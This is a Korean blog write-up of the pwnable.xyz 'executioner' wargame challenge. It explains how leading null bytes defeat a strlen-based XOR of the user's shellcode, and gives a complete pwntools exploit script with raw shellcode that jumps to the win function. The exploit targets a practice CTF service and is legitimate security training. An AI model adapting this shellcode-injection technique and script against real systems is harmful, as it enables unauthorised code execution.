본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / executioner

mitigation
main

단순 쉘코드 문제다 strlen으로 입력한 쉘코드 길이를 구해서 랜덤 값과 xor한다
단순 2byte NULL bytes를 박으면 strlen의 반환 값이 0이 되면서 랜덤 값과 xor하지 않게 된다

대신 쉘 코드가 실행 될때 ptr byte[rax], al을 수행한다 rax는 스택값이니 코드가 정상적으로 처리될 것이다

이후에 r12에 _start주소가 있어서 win만큼 더해서 jmp r12해서 플래그가 출력되도록 했다

from pwn import *
#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30025)
#p = process("./executioner")
#gdb.attach(p)
def pow():
    p.recvuntil(b"0x")
    num = int(p.recvline(), 16)
    log.info("num: "+ hex(num))
    p.recvuntil(b"> ")
    p.send(b"0 ")
    p.sendline(str(num))


pow()

shell = b"\x00\x00\x49\x81\xc4\x9a\x01\x00\x00\x41\xff\xe4"
p.recvuntil(b"Input: ")
p.sendline(shell)

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / badayum  (0) 2022.05.23
pwnable.xyz / password  (0) 2022.05.23
pwnable.xyz / Punch it  (0) 2022.05.22
pwnable.xyz / catalog  (0) 2022.05.21
pwnable.xyz / PvP  (0) 2022.05.21